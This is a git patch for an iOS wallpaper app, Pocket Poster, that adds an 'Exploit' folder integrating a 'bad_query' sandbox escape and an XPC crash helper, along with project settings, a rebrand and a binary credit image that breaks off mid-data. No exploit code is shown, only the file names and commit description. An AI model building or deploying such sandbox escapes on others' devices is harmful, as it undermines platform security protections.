From 18a67ec17104afa37419bd7b2e2edbd104a1ee89 Mon Sep 17 00:00:00 2001 From: Mak5er Date: Tue, 11 Aug 2026 05:21:59 +0300 Subject: [PATCH] =?UTF-8?q?Add=20bad=5Fquery=20support=20for=20iOS=2026?= =?UTF-8?q?=E2=80=9327.0b4?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Integrate forcequitOS/bad_query for sandbox-escaped PosterBoard writes, on-device container UUID detection (no PC/Nugget required), descriptor wipe for Reset Collections, and Mond-style WebKit respring that works under LiveContainer. Rebrand fork to com.mak5er.Pocket-Poster; credit Mak5er. --- Pocket Poster.xcodeproj/project.pbxproj | 37 ++- .../Credits/Mak5er.imageset/Contents.json | 21 ++ .../Credits/Mak5er.imageset/Mak5er.png | Bin 0 -> 15814 bytes .../Credits/Mak5er.imageset/Mak5er@2x.png | Bin 0 -> 15814 bytes .../CarPlayWallpaper+CarPlayManager.swift | 27 +- .../Controllers/PosterBoardManager.swift | 108 ++++++- .../Controllers/RespringHelper.swift | 124 ++++++++ Pocket Poster/Controllers/SymHandler.swift | 48 ++- Pocket Poster/Exploit/BadQuery.swift | 282 ++++++++++++++++++ .../Exploit/Pocket-Poster-Bridging-Header.h | 9 + Pocket Poster/Exploit/bad_query.c | 183 ++++++++++++ Pocket Poster/Exploit/bad_query.h | 18 ++ Pocket Poster/Exploit/xpc_crash.c | 110 +++++++ Pocket Poster/Exploit/xpc_crash.h | 22 ++ Pocket Poster/Extensions/Views/Alert++.swift | 108 +++++-- Pocket Poster/Localizable.xcstrings | 16 + Pocket Poster/Views/ContentView.swift | 87 ++++-- .../Views/OnBoarding/OnBoardingPage.swift | 2 +- Pocket Poster/Views/SettingsView.swift | 86 +++++- Pocket-Poster-Info.plist | 8 +- README.md | 29 +- 21 files changed, 1223 insertions(+), 102 deletions(-) create mode 100644 Pocket Poster/Assets.xcassets/Credits/Mak5er.imageset/Contents.json create mode 100644 Pocket Poster/Assets.xcassets/Credits/Mak5er.imageset/Mak5er.png create mode 100644 Pocket Poster/Assets.xcassets/Credits/Mak5er.imageset/Mak5er@2x.png create mode 100644 Pocket Poster/Controllers/RespringHelper.swift create mode 100644 Pocket Poster/Exploit/BadQuery.swift create mode 100644 Pocket Poster/Exploit/Pocket-Poster-Bridging-Header.h create mode 100644 Pocket Poster/Exploit/bad_query.c create mode 100644 Pocket Poster/Exploit/bad_query.h create mode 100644 Pocket Poster/Exploit/xpc_crash.c create mode 100644 Pocket Poster/Exploit/xpc_crash.h diff --git a/Pocket Poster.xcodeproj/project.pbxproj b/Pocket Poster.xcodeproj/project.pbxproj index 60e4615..b2c7c35 100644 --- a/Pocket Poster.xcodeproj/project.pbxproj +++ b/Pocket Poster.xcodeproj/project.pbxproj @@ -16,9 +16,24 @@ 6F09B79D2DEB694B00CDE89C /* Pocket Poster.app */ = {isa = PBXFileReference; explicitFileType = wrapper.application; includeInIndex = 0; path = "Pocket Poster.app"; sourceTree = BUILT_PRODUCTS_DIR; }; /* End PBXFileReference section */ +/* Begin PBXFileSystemSynchronizedGroupBuildPhaseMembershipExceptionSet section */ + BQ0000012DEB694B00CDE89C /* Exceptions for "Pocket Poster" folder in "Compile Sources" phase from "Pocket Poster" target */ = { + isa = PBXFileSystemSynchronizedGroupBuildPhaseMembershipExceptionSet; + buildPhase = 6F09B7992DEB694B00CDE89C /* Sources */; + membershipExceptions = ( + Exploit/bad_query.h, + "Exploit/Pocket-Poster-Bridging-Header.h", + "Exploit/xpc_crash.h", + ); + }; +/* End PBXFileSystemSynchronizedGroupBuildPhaseMembershipExceptionSet section */ + /* Begin PBXFileSystemSynchronizedRootGroup section */ 6F09B79F2DEB694B00CDE89C /* Pocket Poster */ = { isa = PBXFileSystemSynchronizedRootGroup; + exceptions = ( + BQ0000012DEB694B00CDE89C /* Exceptions for "Pocket Poster" folder in "Compile Sources" phase from "Pocket Poster" target */, + ); explicitFolders = ( Resources/VideoCAML, ); @@ -272,11 +287,15 @@ ASSETCATALOG_COMPILER_APPICON_NAME = AppIcon; ASSETCATALOG_COMPILER_GLOBAL_ACCENT_COLOR_NAME = AccentColor; CODE_SIGN_STYLE = Automatic; - CURRENT_PROJECT_VERSION = 0; + CURRENT_PROJECT_VERSION = 3; DEVELOPMENT_ASSET_PATHS = "\"Pocket Poster/Preview Content\""; DEVELOPMENT_TEAM = 2P4CP47H76; ENABLE_PREVIEWS = YES; GENERATE_INFOPLIST_FILE = YES; + HEADER_SEARCH_PATHS = ( + "$(inherited)", + "\"$(SRCROOT)/Pocket Poster/Exploit\"", + ); INFOPLIST_FILE = "Pocket-Poster-Info.plist"; INFOPLIST_KEY_LSSupportsOpeningDocumentsInPlace = YES; INFOPLIST_KEY_UIApplicationSceneManifest_Generation = YES; @@ -289,10 +308,11 @@ "$(inherited)", "@executable_path/Frameworks", ); - MARKETING_VERSION = 3.0; - PRODUCT_BUNDLE_IDENTIFIER = "com.lemin.Pocket-Poster"; + MARKETING_VERSION = 3.2.2; + PRODUCT_BUNDLE_IDENTIFIER = "com.mak5er.Pocket-Poster"; PRODUCT_NAME = "$(TARGET_NAME)"; SWIFT_EMIT_LOC_STRINGS = YES; + SWIFT_OBJC_BRIDGING_HEADER = "Pocket Poster/Exploit/Pocket-Poster-Bridging-Header.h"; SWIFT_VERSION = 5.0; TARGETED_DEVICE_FAMILY = "1,2"; }; @@ -304,11 +324,15 @@ ASSETCATALOG_COMPILER_APPICON_NAME = AppIcon; ASSETCATALOG_COMPILER_GLOBAL_ACCENT_COLOR_NAME = AccentColor; CODE_SIGN_STYLE = Automatic; - CURRENT_PROJECT_VERSION = 0; + CURRENT_PROJECT_VERSION = 3; DEVELOPMENT_ASSET_PATHS = "\"Pocket Poster/Preview Content\""; DEVELOPMENT_TEAM = 2P4CP47H76; ENABLE_PREVIEWS = YES; GENERATE_INFOPLIST_FILE = YES; + HEADER_SEARCH_PATHS = ( + "$(inherited)", + "\"$(SRCROOT)/Pocket Poster/Exploit\"", + ); INFOPLIST_FILE = "Pocket-Poster-Info.plist"; INFOPLIST_KEY_LSSupportsOpeningDocumentsInPlace = YES; INFOPLIST_KEY_UIApplicationSceneManifest_Generation = YES; @@ -321,10 +345,11 @@ "$(inherited)", "@executable_path/Frameworks", ); - MARKETING_VERSION = 3.0; - PRODUCT_BUNDLE_IDENTIFIER = "com.lemin.Pocket-Poster"; + MARKETING_VERSION = 3.2.2; + PRODUCT_BUNDLE_IDENTIFIER = "com.mak5er.Pocket-Poster"; PRODUCT_NAME = "$(TARGET_NAME)"; SWIFT_EMIT_LOC_STRINGS = YES; + SWIFT_OBJC_BRIDGING_HEADER = "Pocket Poster/Exploit/Pocket-Poster-Bridging-Header.h"; SWIFT_VERSION = 5.0; TARGETED_DEVICE_FAMILY = "1,2"; }; diff --git a/Pocket Poster/Assets.xcassets/Credits/Mak5er.imageset/Contents.json b/Pocket Poster/Assets.xcassets/Credits/Mak5er.imageset/Contents.json new file mode 100644 index 0000000..ccd60a6 --- /dev/null +++ b/Pocket Poster/Assets.xcassets/Credits/Mak5er.imageset/Contents.json @@ -0,0 +1,21 @@ +{ + "images" : [ + { + "idiom" : "universal", + "scale" : "1x" + }, + { + "filename" : "Mak5er@2x.png", + "idiom" : "universal", + "scale" : "2x" + }, + { + "idiom" : "universal", + "scale" : "3x" + } + ], + "info" : { + "author" : "xcode", + "version" : 1 + } +} diff --git a/Pocket Poster/Assets.xcassets/Credits/Mak5er.imageset/Mak5er.png b/Pocket Poster/Assets.xcassets/Credits/Mak5er.imageset/Mak5er.png new file mode 100644 index 0000000000000000000000000000000000000000..1da329fea61dde8aee1ac023a62b9a50a52852ee GIT binary patch literal 15814 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 